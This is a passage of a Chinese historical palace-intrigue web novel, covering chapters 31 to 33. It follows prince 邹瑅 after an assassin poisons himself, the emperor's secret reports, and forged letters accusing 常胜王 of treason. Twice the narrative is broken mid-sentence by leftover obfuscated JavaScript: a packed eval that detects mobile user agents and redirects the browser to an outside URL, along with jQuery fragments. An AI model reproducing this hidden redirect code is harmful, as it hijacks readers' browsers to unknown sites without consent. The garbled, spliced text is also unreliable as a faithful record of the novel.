邹瑅一手提着他的衣领,一手重重往他肚子上连着捶了好几下,企图把他吞下去的毒药打得吐出来。 但是,已经来不及了。 不知道他服了什么毒药,邹瑅只揍了他五捶,他就抽搐着断气了。 邹瑅面色凝重起来,确定人没气了,他正想把人放下,看看能不能从人身上搜出些什么。 他蹲下,手才伸向男人,还没靠近,“咻”的一声,一支利箭朝邹瑅的头射来。 他旋即向右倒下翻滚,在滚了两圈之后,稳住身体,半蹲在地上,同时,那只利箭射在墙上,土胚墙瞬间裂开,土块横飞,若不是他躲得快,破裂横飞的就不是土块了。 邹瑅心中大惊,不等他完全站起来,利箭快速穿过空气,一阵急切的风声随之而来。 无数支箭接二连三追着他射,他只得往前面奔跑、躲避。 为了打破敌在暗我在明的劣势,他施展轻功,踩着土胚墙,飞快跑到墙上。 出乎意料的是,他才站到墙上,箭雨停了,他敏锐地察觉不对,回头一看,原本该放着一具尸体的地方空空如也。 邹瑅大惊,连忙在屋顶上查找。 他找了很久,把这一片都转了个遍,也没有发现任何蛛丝马迹。 无奈,他只好回去。 * 回到巷子了,看着满地的箭矢,邹瑅不由大惊,那人到底是何来历,有同伙就罢了,为何还有这么多弩箭的箭矢,从刚刚射箭的速度来看,他们手中的弩至少有三个,私自铸造这么多兵器,这可是要诛九族的重罪。 这里偏僻,想等巡夜的队伍来,怕是得等上半个时辰。 犹豫了一下,邹瑅把现场所有的箭聚拢在一起,还数了一遍——八十七支,想到刚刚那具尸体的异样,他也顾不得什么皇室形象了,直接脱下外衣。 他用外衣包裹着所有的箭矢,为了避免意外,扛在肩上快速离开了这个是非之地。 31. 幽冥卷·第六章 6 还好,预料中的意外没有发生,没有人再来追杀他。 邹瑅扛着箭矢施展轻功原路返回,跑了差不多一刻钟,便遇到了巡夜的队伍,为首的人他还认识,是龙武大军大统领赵英的长子赵兴存。 赵兴存在确认他的身份后,立刻下马带着身后巡夜的士兵迎了上来。 “殿下?您这是?” “你们是在搜查在东街男扮女装行刺的歹人吗?”邹瑅将扛着的箭扔到他面前,“不用追了,他已经死了,在我面前服毒自杀的。我没想到他还有同伙,等我反应过来,他的尸体已经不见了,只留下这些箭矢。” 赵兴存大为震惊:“东街?男扮女装?” 邹瑅狐疑,不等他问,赵兴存立刻解释道:“殿下有所不知,不止东街,今晚发生了多起女子行刺豪贵子弟事件。” 邹瑅大惊,但还是立刻否定道:“不是女子,是男人。我目睹了东街的那一场刺杀,追捕那人至此,并且与之交手,我敢肯定东街杀人的是男人。杀手只是身材瘦小,特意穿了女子服饰、化了浓妆。” 他从地上随即抓起七八根箭,借着他们的火把仔细看了看箭身,确定都是一样的,才放下,只留了一根。 “这里一共八十七支箭,看箭头是属于戍守在西北边境的神武大军军中独有神武箭矢,你带回去交给你爹,也派人和太尉知会一声,让他们都核查清楚。” 闻言,赵兴存又是一惊,但邹瑅心系静姝和子瞮的安危,不欲和他多说。 邹瑅又指明了他刚刚被箭乱射的地方,让赵兴存派人去那片再搜一搜,然后拿着一支箭便匆忙原路返回。 * 等他跑回与子瞮、静姝分别的地方,街上已经没有多少人了,除了静姝六人,其余都是穿着统一盔甲的龙武军。 “殿下!” “皇兄!” 邹瑅才跑过去,子瞮和静姝都神色紧张拥了上来。 “皇兄你的衣服?”静姝关心问。 子瞮也关心道:“殿下可有何处受伤。” 两人几乎同时开口。 邹瑅摇头,拿起手中的箭跟两人晃了晃,道:“我没事。我已经抓到杀手,只可惜没看住让他服毒自杀了。” “殿下尽力了。”子瞮安抚道。 邹瑅却越说越愤懑,“没想到他还有同伙,为了抢夺那人的尸体,他们朝我射了八十七支箭。那些箭都不是通用的箭,而是神武军中独有的箭矢,情急之下,我只得用衣服捆着带回。” 邹瑅解释完,不等两人说话,又道:“事有蹊跷,我得立马回宫跟父皇汇报。” 他伸手招来十二名龙武军,让其中六人护送子瞮回府,另外六人则和来时跟着的四个侍卫一同护送静姝回宫。 安排好,也不等静姝和子瞮说话,他骑着小统领的马,先一步带着那支箭直奔皇宫。 * 邹瑅急匆匆跑回宫中,跑到御书房一看,以赵英为首的负责鄂阳城安危的一众官员都跪在下方。 邹珣也在其中。 邹瑅急匆匆跑进去,打断了邹珣的解释。 成武帝也面带不悦看着他,“何事如此慌乱?” 等成武帝看清他的模样,又关心问了句,“怎么如此狼狈,你也遭到了刺杀?” “未曾。父皇您看。”邹瑅也顾不得那么多礼仪,一边解释,一边将手里的箭矢送了上去。 成武帝接过箭矢,盯着它,面色凝重听着邹瑅述说过程。 邹瑅说完,成武帝沉默了很久,底下跪着的众人一言不敢发,头压得更低,有个别身体还哆嗦起来。 “父皇。”邹瑅又是最先沉不住气的那个,他也是真的着急,“父皇,是不是先封锁皇城,全城戒严搜索,循着神武军□□这条线索先找出刺客。” 他又道:“神武军此刻远在西北戍边,他们的武器不可能、也不应该出现在鄂阳。” 大嬴虽然才结束战争没多久,但是大嬴龙武、神武、英武三大军队所向披靡、骁勇善战,威震天下,无论是西边的蛮族,还是东、北方向的游牧民族,都敬而远之。 而且,其掌权者还都在成武帝班师回朝时派来使臣,表示愿意为大嬴上贡纳税,只求成武帝不要带兵攻打他们。 见其心诚,成武帝放过了他们,并特赦接受他们,让其成为大嬴的附属国。 也因为如此,二月以后,神武军与英武军带着各自军队的最后一批各自特制的军用物资,分别前往西边与东、北方向戍边后,兵工部也暂时不再制作两军特供的箭矢等兵器。 神武军专用的箭矢在鄂阳出现,绝对不是小事。 神武军的箭头是特制的,杀伤力巨大,最适合攻城冲锋时使用。 今夜出现的这些只是之前私藏的还好,若是有人拿到了设计图,并且在私自铸造,那么其野心就可见一斑了。 最主要的是,神武军和英武军邹杲都曾经带领过,神武军邹杲更是带领统率的三年之久,那日他上缴的兵符,便是能直接调动神武军的。 这些,邹瑅能想到,成武帝自然亦能想到。 他将手中的箭扔到地上,正好落在龙武军大统领赵英的面前。 他怒声呵斥:“瑅儿都能想到此事的严重性,你们这些久经沙场的老家伙们难道没想到吗?还愣着干什么,还不赶紧去查!” 一群将军吓得不轻,好几个头冒冷汗。 赵英五十岁出头,身材高大健硕,凌眉怒目,典型武将形象。 他能成为大统领也是有他的本事的,得到指示,他连忙捡起箭,站起来,“是,末将这就去查!” 成武帝烦躁摆摆手,催促他们赶紧去。 赵英带着一众人连忙离开。 邹珣还没走,他喊了一声,自荐道:“父皇,儿臣以为被刺杀者的身份和他们生前所做之事或许也是一条重大线索,恳请父皇准许儿臣去查清他们的身世背景。” 成武帝看向他,看得邹珣心中七上八下,就在邹珣险些腿软跌下去时,成武帝才满意点了点头,“去吧,查仔细点。” “儿臣定不负父皇厚望。”邹珣大喜,表完决心与忠心,得意扫了邹瑅一眼,这才转身快速离开。 见众人都离开了,邹瑅连忙道:“父皇,儿臣也去搜查杀手。” 邹瑅也是刚刚才得知,据不完全统计,今晚被刺杀的人数竟有十七人之多。 也就是说,除了邹瑅遇到的那个服毒自杀的,至少还有十六个男扮女装的杀手。 如此有组织地、大规模地在乞巧节这天行刺,其严重性不可估计。 邹瑅说完正要离开,成武帝叫住了他,“有两万龙武军在,何须你亲自去搜城。” 邹瑅一愣,他不懂为何不让他去。 这时,成武帝又道:“你先去把静姝接回宫来,安顿好。今夜你也辛苦了,好生休息,等明日醒来再去为你皇兄分忧。” 他想说他不辛苦,回去也睡不着。 但是,看着他父皇威严中带着疲倦的面容,他又不敢、也不忍说出反驳的话来。 而且,静姝的安全也的确重要,他就这一个妹妹,人还是他带出去的。 想到这,邹瑅连忙行礼道别。 * 看着邹瑅离去的身影,成武帝露出欣慰又复杂的神情。 “沙於,你说,朕是不是不该逼瑅儿做出改变。”不等沙於回答,成武帝又说,“瑅儿成长了,也听话了,朕倒是怀念起之前的他了。” “陛下,殿下们总要长大的。”沙於说着,又道,“一时半会估计没法休息,老奴去为陛下煮些汤来吧?” 成武帝揉了揉额心,“还是你最懂朕,去吧。” 沙於应着要离开,成武帝又吩咐道:“不用喊人来伺候,你快去快回。” 他疲惫笑了笑,“习惯了你的伺候,除了你手把手带出来的史承,其余奴才们朕怎么看怎么不顺眼。” 沙於受宠若惊应是,快步离开。 很快,偌大的御书房里只有成武帝一人。当然,屋顶、房梁之上的暗卫忽略未计。 成武帝站起身来,负手走到大门口看不到的窗边,打开窗户冲黑漆漆的外面淡淡道:“到了就下来。” 他话音落下,一个不知道从何冒出来的黑色身影从窗户外跳了进来,跪在他面前,双手奉上一个密封的小竹筒和一个巴掌大小的锦囊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680516|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “陛下,这是最后一批追杀王爷的幕后主使名单和证据。”黑衣人道,“五日前,王爷在鸿秋塞将这个锦囊交给我们后,就不见了踪影。” 成武帝打开了竹筒,取出里面的纸条,纸条有一手宽,一个小臂长,上面密密麻麻写满了字。 “无尽冰原山洞,赵孟,五十名训练有素的杀手。”成武帝冷笑道,“朕知晓他这几年的城主做得舒服,却不知道他已经如此有权势。” 黑影跪着没有说话。 成武帝大致看完纸条上的内容,脸上的表情越发难以捉摸,他朝黑影招了招手。 见状,黑影连忙伸出双手,成武帝把锦囊放回他的手中,“拿去,密封好,两刻钟后再送进来。” “是。” 黑影应声,放好锦囊,又接过成武帝递过来的空竹筒,飞快消失在原地。 成武帝走到桌子前,一边将手中的纸条焚烧,一边沉思。 纸灰随风而起,书桌四周都是,他也没管,随手又拿起一张白纸慢慢焚烧,慢慢回想这段时间的种种。 想着,想着,他笑了,梁国公主与稀世宝藏。 看来那女人对他说的那些话有五成以上是真的了。 * 沙於端着汤进来,见到的就是成武帝一手撑着头,一手拿着白纸在火烛上慢慢焚烧,烧出来的纸灰四处都是。 这是成武帝多年的老毛病了,从他儿时起,遇到困难、想不通的问题时,要么焚烧纸条、要么喝热汤。 “陛下,汤来了。” 闻声,成武帝反应过来,扔掉手中快烧到尽头纸,招手示意他过来。 沙於连忙端着汤走过去。 成武帝接过缓缓喝了一口,吩咐沙於替他揉按肩膀。 沙於自然服从。 主仆俩相处得很好,很是宁静,直到一道突兀的敲击声从窗外传来。 沙於看向成武帝,询问出声,“陛下?” 成武帝疲累摆摆手,“去开窗,让他进来罢。” 沙於欲言又止,但还是去照做了。 窗户打开,一个黑衣人跳进来,直接冲到成武帝一丈不到的地方跪下,“陛下,北边传来的加急密信。” 成武帝闻声抬头看向黑衣人,又对沙於道:“呈上来。” 他似乎很疲惫,不想管此事,却又不得不管。 “是。” 沙於恭敬应着,面对黑衣人又冷厉许多,“何事如此惊慌?” 他快步过去接过暗卫双手捧着的锦囊。 沙於接过去后,暗卫看到成武帝不耐烦的挥手,立刻就消失得无影无终。 “陛下。”沙於将锦囊双手捧到成武帝面前。 成武帝还在喝汤,扫了绳结一眼,不甚在意道:“沙於,你替朕打开看看。” “是。” 沙於去门口用守卫的佩刀割开系得死死的绳结,他越本还云淡风轻,等回到成武帝跟前,拿出里面的东西只看了一眼,表情就变得严峻起来。 “陛下!” 成武帝抬起头来,好笑问:“何事让你如此惊慌。” 沙於将里面的几张纸带给他,成武帝接过一看,表情也变了。 他打开折叠的纸看了起来,看完,露出难以捉摸的笑容,“十万金买常胜王的人头,朕的左相倒是富裕。” “陛下,这其中是不是有误会……” “误会?”成武帝好笑反问,“什么样的误会能让左相把地契都给出去了?还有暗秋城二十年的赋税,他怎么敢的!” 他怒拍桌面,“这是朕的天下,不是他韩威的!” 沙於吓得说不出话来。 成武帝拿起一张白纸,撕也没撕,便放在烛火上焚烧。 沙於一怔,连忙继续给他按摩。 良久,成武帝才又出声说话:“韩威买凶杀人,神武军箭弩出现在歹人手中。一个是珣儿的外祖,一个是瑅儿的母舅,还真是巧啊。” 如今带领神武军驻守边塞的大统领欧阳慎是当今皇后欧阳羽儿的二哥,也就是三皇子邹瑅的亲二舅。 成武帝话音未落,一个太监来通报说以御史大夫沈凌为首的十余个朝臣求见。 32. 幽冥卷·第七章 7 另一边,子瞮一回到家,荣淏就焦急围了上来。 “主子,您没受伤吧?” 荣淏是子瞮搬出三皇子府的第二日买来的小厮。 他相貌平平,身材也不算高大,脸长得十分有欺骗性,子瞮不知道他具体年纪,只知道他年龄比自己年长至少六岁。 又因他身材娇小瘦弱,他的声音也不似普通男子那般低沉粗粝,看起来和一个十五六岁的少年无异。 “没有。”子瞮摇头,快步进屋。 进了屋才坐下,荣淏就凑到他耳边小声道,“主子,邹珣派人送了信来,让你去接近邹瑅,将韩威勾结江湖人士,欲买凶杀害邹杲的事透露给邹瑅。” 子瞮嗤笑一声,“韩威好歹是他亲外祖父,他动起手来倒是一点不手软。” 荣淏也点头附和,嘲讽笑道,“也不知道他哪来的自信,觉得自己失去了韩威这个靠山还能有今天。” 见子瞮表情凝重,荣淏又问:“主子,您何必如此忧虑,他们挡了我们的路,早晚都得死,现在死也没什么不好。” 子瞮神情越来越凝重,他连连摇头,“韩威可以杀,但邹珣还不行。” 荣淏不解道:“为什么?这不该是我们喜闻乐见的事吗?” “不是现在,邹珣一旦失势,邹瑅必将被推到风口浪尖上。” 荣淏越发不解,怔怔看着子瞮,“那又如何?” 子瞮语塞,他起身在屋子里走动起来。 好一会儿,他背对荣淏站定,这才继续道:“邹珣和邹瑅现在都不能出事,一旦他们其中一人出事,平衡打破,留下来的一人会成为活靶子,暗地里那些人会更猖獗,届时,对我们就不利了。” 荣淏还是没理解子瞮的忧虑。 “成武帝也不会允许这种事情发生。”子瞮越发坚信,“他的儿子,他怎么处理都可以,一旦外人插手,他一定会不遗余力抓出真凶。他也有正当的理由来大规模清扫三国遗脉了。” 荣淏狐疑看着子瞮的背影,暂且被他说服了。 “那我们接下来该如何做?”荣淏担忧说,“邹珣这么信誓旦旦地派人来,必定是准备了一些能一击扳倒韩威的证据,成武帝不是吃素的,他怕是早就得到一些消息了。” 子瞮叹了口气,也很是无奈。 邹珣这个人,说他心思深沉也深沉,他能想到下一步,却不会想到第二步第三步。 就像现在,韩威根基过大,朝中很多臣子都是他提拔起来的,虽然明面上没有太多往来,但实际有多少人拥护他也不好说,但一定只会多不会少。 虽然如此,但韩威没有子嗣,成武帝一定不会太忌惮他,说不定反而会想法设法留下他,用他来平衡逐渐发展壮大的右相李卓背后的家族。 邹珣此举,若真能引出一些碍成武帝眼又不好动手的官员还好,若不能,那么邹珣将在成武帝那儿彻底失去希望。 尤其是他想要接手的、韩威提拔起来的那些臣子,韩威倒台,他们大多或许都会追随邹珣。 但他们也都是聪明人,门道更不会少,一旦他们知晓韩威倒台有邹珣的手笔,哪怕只是风吹草动,都足够他们动摇。 子瞮能想到,成武帝不可能想不到,邹珣应该也能想到,但他为什么还要冒着这么大的风险这样做呢? 邹珣背后,除了韩威,还有谁在给他出谋划策?什么人能说动邹珣放弃血亲外祖父而走这一步险棋? 虽然让邹珣和韩威互相削弱是子瞮计划中的一步,但邹珣一点余地都不留,不但对他自己不利,也坏了子瞮的下一步计划。 “我得想办法去见成武帝一面,”他似是在自言自语,“时间还早,他不会让这场戏提前落幕,邹珣还不能下场。” 荣淏欲言又止,但最终还是没有说话。 子瞮转过身来看向荣淏,“等天亮,你先去打探清楚今晚发生的事。” 他拧紧了眉毛,“我们在城中的势力还是太弱了,等这件事情平息了,我们得好好想想该如何解决这个问题。” 荣淏还想说什么,子瞮一边朝内室走,一边挥手示意他下去。 知道他乏了,不想继续说,荣淏只好把想说的话都憋回去,乖乖退下。 子瞮吹灭蜡烛,合衣躺在床上,他躺了一小会儿,猛地又坐了起来。 他起身走向衣柜,在最内侧的夹层翻找着什么…… * 深夜,左相府,主屋,韩威的卧室。 黑暗中,韩威睡得并不熟,突然“咚”的一声,一盆兰花从窗户扔进来砸在床沿,花盆瞬间破裂,泥土四溅,开得正艳的兰花也四分五裂、不复原本健全模样。 韩威猛地惊醒。 “谁!谁在哪?” 窗外的黑影转瞬即逝,如幽灵般。 借着月光看着床边四分五裂的兰花和花盆,韩威的心脏狂跳不止,家丁也终于赶来。 亮光从门口传来,韩威靠坐在床上,突然,他看到泥土中有什么格格不入的东西。 他多年的警觉让他下意识下床将那纸条捡了起来。 韩威无视冲进来的家仆,直接打开了纸条,只看了一眼,他便浑身颤抖,怒目圆睁。 天快亮了,太阳也快出来了,韩威却感觉浑身冰冷,险些双眼一闭昏死过去。他一个趔趄,还好有眼力见的管家扶了他一把。 ** 七月初八午时(11点),御书房之上,身着黑金色肃穆龙袍的成武帝负手站在他平时处理政务的案桌前,他面前不远处的地面上,还散着十来个奏折。 下方,跪着的主要是以赵英为主的龙武军的几个将领、以御史大夫沈凌为主的死了儿子的十七个文臣武将,以及邹珣、邹瑅两兄弟。 “复儒?妇孺!”成武帝怒不可遏,大发雷霆指着赵英等人,“四五个时辰过去了,这就是你们给朕的结果?” “朕倒是好奇,这些滑天下之大稽的言论究竟是如何传遍大街小巷的?”成武帝厉声呵斥赵英,“赵英,这就是龙武军全城戒严的结果?” 韩威抬起头来,满脸羞愧,“末将监管不利,罪该万死。” “你是该死。” 成武帝扫了他一眼,眼神右移,“沈凌。你昨晚还来求朕还你儿子公道,现在,你如何说?你准备如何还那些被你儿子残害的无辜女子的公道?” 成武帝加重声音,看向沈凌身后的人骂道:“教养无道,你们又打算如何赎罪?” 众人别说说话了,大气都不敢喘。 天亮了,昨晚的刺客一个没抓到,箭弩的线索也断了,同时,鄂阳大街小巷都是有关‘复儒’教的言论。 既是‘复儒’,也是‘妇孺’,既打着儒家仁爱的由头,也打着为妇孺争取人权的由头。 一早晨的时间,鄂阳超过半数的妇人都以拒绝做饭、家务等事由来抗衡表态,闹得乌烟瘴气,打斗不止,还出现了几十起夫妻打架持刀斧农具打伤彼此的事例。 另外,昨晚一共有十七名男子遇刺,刺伤他们的武器都是女子的发簪,在世人眼里,刺伤他们的也是女子。 哪怕邹瑅昨晚抓住了一个,确认那人是男人,并非女子。 可是,谁让他没把尸体留下呢,口说毕竟无凭。 那十七人的罪行也传得沸沸扬扬。 原来,那十七人皆是官宦子弟,借着家中权势,强取豪夺、欺辱妇孺、为非作歹,简直死有余辜。 但是他们不该这么死去。 就在气氛冷到极点时,邹珣抬起头来。 他道:“父皇,据儿臣所查,那些挑唆人心的妖言妖语并非是今早传播开来的,早在五日前,鄂阳妇孺之中就已经有此等谣传,只是……” 他说着,声音小了,视线却缓缓移向了赵英。他没说出口的话是什么,不难猜出。 赵英,赵英作为十万龙武军的大统领,他唯一的要务就是确保鄂阳城和成武帝的安危。 先是歹人趁着乞巧佳节当街行凶,然后又是监管不利,所谓‘复儒教’猖狂至此,他却没有丝毫的察觉。 “陛下,末将自知死有余辜,求陛下念在末将忠心耿耿的份上,恳请陛下再给末将些时间,待末将查明始末,再降末将的罪。” 赵英眼神坚毅,抱着视死如归的气魄恳求着。 龙武军是成武帝的亲信军队,十余载一直跟随成武帝在外征战。赵英是在六年前成为龙武军的大统领的,之前,是他的伯父。 在外征战时,他从来没有遭遇过如此窘境,这是第一次,也是最后一次。赵英心中坚定。 成武帝沉默了一会儿,看向他问:“你要几日?” 赵英一怔,看着眼神凌厉的成武帝说不出话来,见成武帝越发愤怒,他一咬牙,道:“十日,恳请陛下给末将十日。若十日后末将无法揪出真凶,末将愿以死谢罪。” 这话一出,包括成武帝,在场所有人都是一愣。 赵英纵然失职,但罪不至死,何况他军功赫赫。 一时间,连成武帝都神色复杂看着赵英。 但是赵英自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680517|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己都把话说到这里了,成武帝再惋惜,也不得不点头。 见成武帝要点头,邹瑅终于还是没沉住气,他猛地抬起头来,喊道:“父皇,赵将军的确失职,但罪不至死。这一遭,也并非赵将军一人之过。” 邹瑅这么一说,跪着的其他人都是一抖,特别是那十七个臣子,心里估计都恨邹瑅恨得不行,生怕成武帝将怒火转移到他们身上去。 成武帝面色不悦,但却没有再发怒。 他重重吐息,扫视着下方跪着的朝臣。 良久,在一众人被吓得几欲昏厥时,成武帝才终于开口。 他沉声问:“你们怎么说?都认为此事是赵英一人之过吗?” 没有人说话,一个个都像鹌鹑一样。 成武帝气笑了,“很好,很好,这便是我大嬴的脊梁,” “陛下,亦是我等之过。”在场几个龙武军的将领纷纷跪着走到赵英两侧,他们异口同声说,“我等愿与大将军一同受罚。” 成武帝看着他们,没说话,而是看向后方跪着的文臣,“你们呢?” 一众文臣无人说话。 终于,成武帝爆发了,怒骂道:“这便是你们的文人风骨?” “自从称朕班师回朝,你们一个个的,日日上书跟朕哭诉,说朕重武轻文。朕听了你们的劝谏,特意颁布了考举制度,鼓励百姓读书识字,以此壮大文人队伍。” “若读了无数儒学仁爱圣贤书的你们便只是这副模样,”他指着沈凌骂道:“纵使你们死了儿子,朕依然无法同情你们半分。父亦如此,何况子乎。” “…这圣贤书,不读也罢!” 话音未落,沈凌等人纷纷磕头,“臣万死!” 光嘴上喊得厉害,实际没有一点作为,成武帝看得越发生气。 终于,沙於高喊:“禀陛下,太尉欧阳谨、右相李卓及颍王求见。” “让他们进来。”成武帝气得背过身去,直甩袖子。 众人跪着不敢说话。 一小会的功夫,穿着官服的太尉欧阳谨、右相李卓还有颍王邹黍一齐走进御书房。 看着惶恐跪着的众人,欧阳谨三人面色虽然凝重了几分,但却装作什么也没看到,径直走到前方。 “陛下。”三人躬身行礼。 成武帝转过身来,看向三人,“你们都来了,韩威呢?” 今日没有早朝,尽管鄂阳出了这么恶劣的事,但是成武帝没有召见,他们本不必自己往刀口上撞。 但是几人都来了,右丞、太尉、御史大夫包括之前代为监国的颍王都在场,韩威作为左相,却不在场,成武帝不注意到才不对劲。 李卓三人视线交流,最后由李卓统一道:“陛下,有人飞箭传信,信上所说之事过于严重,臣不敢耽搁,不曾派人去往左相等人府上询问,便直接来了皇宫,在宫门遇到太尉和颍王,才知晓信上内容一致。” “飞箭传信?”成武帝看向三人,这才注意到三人手里都拿着箭。 赵英和邹瑅当即起身上前接过三人手中的箭矢仔细查看。 三人不敢耽搁,纷纷从宽大的袖子中取出拆封过的信件。 颍王邹黍拿出了两封,“其中一封是沈大人的管家送到宫门口,听闻臣要面见陛下后交予臣转送的。” 沙於走到三人面前,依次将四封密信接过。 “密信内容完全一致?可与昨夜之事有关?” “一致。”欧阳谨点头,“与昨夜之事关系紧密。” 闻言,众人皆是一惊,成武帝也几步上前,几乎是抢过沙於还没来得及递到他手中的信。 他随手打开一封,才看到其中内容,脸上便越发黑沉。 众人看着,不由得都是心中慌乱不止。 见成武帝看完,许久没有说话,还是邹瑅再一次站出来喊了一声,“父皇,” 闻声,成武帝终于反应过来。 邹珣这才说,“父皇,这只是普通箭矢,做工粗糙,并非出自军中。” 成武帝点点头,又看向邹珣,朝两人招手道:“珣儿、瑅儿,你们过来。” 邹珣将信将疑,邹瑅却毫不拖延,将箭矢往身边的赵英手中一塞,就抬腿大步朝成武帝走去。 见状,邹珣也只得快步跟上。 成武帝将手里的那封拆开的信递给先一步走到他面前的邹瑅,又将另外一封未拆开的递给邹珣。 邹瑅率先看清上面的内容,他僵硬在原地,但很快,他便错愕摇头道,坚定道:“父皇,这不可能!” 33.幽冥卷·第八章 8 众人一怔,邹珣连忙打开信封,看清上面的内容,邹珣也是一惊。 “父皇,这绝对不可能!”邹瑅急切说道,“阿杲……” 被成武帝一瞪,他连忙改口,但却没有闭嘴。 “父皇,常胜王几次三番舍命相救父皇,对父皇您忠心耿耿,绝不可能做出这等大逆不道之事。” 这四封密告书写者不祥,但是字里行间能看出来,这是某个被大嬴灭国的遗脉写的。 那人在信中写,说邹杲不但放了他,还助他更名换姓隐匿到鄂阳城中发展势力。 还说邹杲在今年一月中旬,派人运输了一批武器让他藏匿照看。 而这批武器,于三日前被邹杲亲信带走,最终不知所踪。 他听闻昨夜之事,心中惶恐,害怕成武帝查到他头上,落个万劫不复的下场,所以决定主动坦白。 他还在信中写,说他手中还有关于邹杲意图谋反的证据,只要成武帝许诺他余生富贵无忧,他愿意将证据双手奉上。 短短几行字,让众人兵荒马乱。 特别是成武帝和邹瑅,前者本就担心邹杲功高盖主,后者则和邹杲情同手足。 邹瑅还要再替邹杲辩解,看完密告中内容的邹珣却打断他,对成武帝道:“父皇,世上没有空穴来风之事,何况常胜王本并非我邹姓子弟,此事应当从重严查。” “父皇,常胜王已然离开鄂阳,如何……” 邹瑅话没说完,邹珣便出言反驳他,“谁能确定远离鄂阳不是他的幌子。说不定,他如今正藏在鄂阳某处谋划着下一步的动作呢。” “不可能。”邹瑅有些激动,“阿杲绝不会有造反之心!” 成武帝厉声呵斥邹瑅,“闭嘴!” 邹珣立刻不再说话,邹瑅虽心有不甘,但也暂时闭上了嘴。 成武帝看向李卓三人,“此事,三位爱卿以为该如何?” 比起沈凌等人,李卓三人则直接很多,三人按照站位顺序,依次发言。 李卓道:“兹事体大,二皇子所言有理,但此时将常胜王牵扯进来,若只是障眼法,定会误导搜查的方向。等反应过来,恐怕为时已晚。” 欧阳谨道:“最好是同时从多个方向进行严查。” 他话音一转,“但三皇子所说并无道理,常胜王若有谋反之心,最后那场战役,他便没道理舍命为陛下挡箭。” 这话说到成武帝心坎上了,他点头表示赞同,面上也有了愧疚之色。 “那一只毒箭是奔着朕的头颅来的,若尘琛没有替朕挡下……”他说着,也是一阵后怕。 “若那次暗杀是他一手策划呢?” 邹珣突然的反问,让在场所有人都是一愣,一时鸦雀无声。 成武帝眉头紧锁,似乎是在思考邹珣这话的可能性。 邹瑅心道不妙,正要与邹珣争辩、替邹杲辩解,邹黍打断了他。 邹黍适时道:“陛下,无论常胜王有谋反之心与否,天下初定,大嬴百姓再经不起战乱了。” 成武帝脸上的怀疑消散些许,他缓缓点头,“皇兄所言有理。” 他负手看向下方众人,铿锵有力又道:“常胜王几次舍命救朕,朕亦不信他对朕有二心,但事关江山社稷,不得不防。” 他当即做出决定,“事关大嬴江山社稷,这些事交给别人朕不放心,你们带人亲自去查。赵英,你等起来,立刻吩咐下去,全城戒严,十日内,务必揪出昨夜行凶之徒。” “是!”赵英等几个将领连忙起身,行礼过后,迅速离开御书房。 “太尉,”成武帝又看向欧阳谨,“神武军箭矢之事,便交由你部下人马核对查验。” 太尉不但管军务,兵器的制造与分配也归他管。 欧阳谨拱手行礼应是。 成武帝又看向邹珣和李卓,“李卓,密信之事便交由你去处理了。” 李卓拱手行礼,“是,定不负陛下重望。” 成武帝点头,又道:“李卓,你带上珣儿,他不懂的,你多多教导他。” 邹珣先是一愣,而后大喜过望。 世人皆知,成武帝虽不曾明言,但一举一动之间表现出来的,他最信任喜爱的朝臣之中右丞李卓一定能排到前三。 在外征战时,虽然颍王邹黍是名义上的监国,但右丞李卓手中的权利却几乎和颍王同等,甚至在颍王之上。 李卓有片刻的迟疑,但还是立刻再次拱手应是。 邹珣也连忙道:“父皇,儿臣定会竭力学习,不负父皇期许!” 成武帝摆摆手,没有多说,看向颍王邹黍,“皇兄,儒学你比朕更了解,圣贤书你也读得比朕多,‘复儒教’一事,便交由皇兄你替朕分担了吧。” 邹黍有些惶恐,点还是拱手行礼恭敬道:“是,臣定当竭尽所能。” 成武帝这才看向邹瑅,他道:“你皇伯父身体羸弱、手无缚鸡之力,歹徒奸毒,以防万一,瑅儿,你带上一百龙武军形影不离保护你皇伯父。” 邹瑅想去查密信之事,但是这几个月的经验告诉他,就算他大胆自荐,父皇非但不会允许,还会将他发配得越远。 这几件事是相关联的,只要能证明‘复儒教’之后另有其人,那邹杲的嫌疑便减轻了大半。 是以,邹瑅没有反驳,只乖乖应是。 成武帝又看向还跪着的沈凌等人,“你们也都起来吧,过去,你们忙于大嬴复一统大任,以至于教子无方,朕既往不咎。但是从今以后,再发生此等恶劣之事,子不教父之过,你们自去找廷尉领罪。” 所幸管刑罚牢狱的廷尉不在这群人中,不然,怕是要被当场贬官。 众人如释重负,说好话一个比一个会。 成武帝摆手示意他们停下,让他们离开前,又对邹珣道:“珣儿,韩威年老渐衰,他作为左相,想必也收到了密告,现在还不曾到来,多半是旧病复发,你先带上两个太医去他府上看看。” 邹珣一怔,只点头应是,没有多说。 成武帝挥手示意他们离去。 很快,偌大的御书房便只剩下成武帝、沙於,以及服侍的太监宫女们。 成武帝才坐下,一个太监便捧着一封未署名的密信前往。 见成武帝头疼揉着眉心,沙於将那人拦在御书房外,自己出去接过书信。 成武帝的确觉得头疼,但他毕竟是帝王。 沙於才回来,他便抬起头,看着沙於手中那封和李卓他们送来的密信一模一样的书信,成武帝冷笑道:“怎么,韩威真的又病了?” 沙於无奈笑笑,“是。”他走到成武帝身侧,“除了密信,左相还给您写了一封信。” 成武帝伸手接过,拆开一看,他便冷笑出声。 “府中进贼,地契印信失窃。” “倒是巧了,所有事情都聚到一起,昨夜朕才收到常胜王传回来的、带有他家祖宅地契还有印章的密信,今日他便告诉朕这些他都失窃了。” 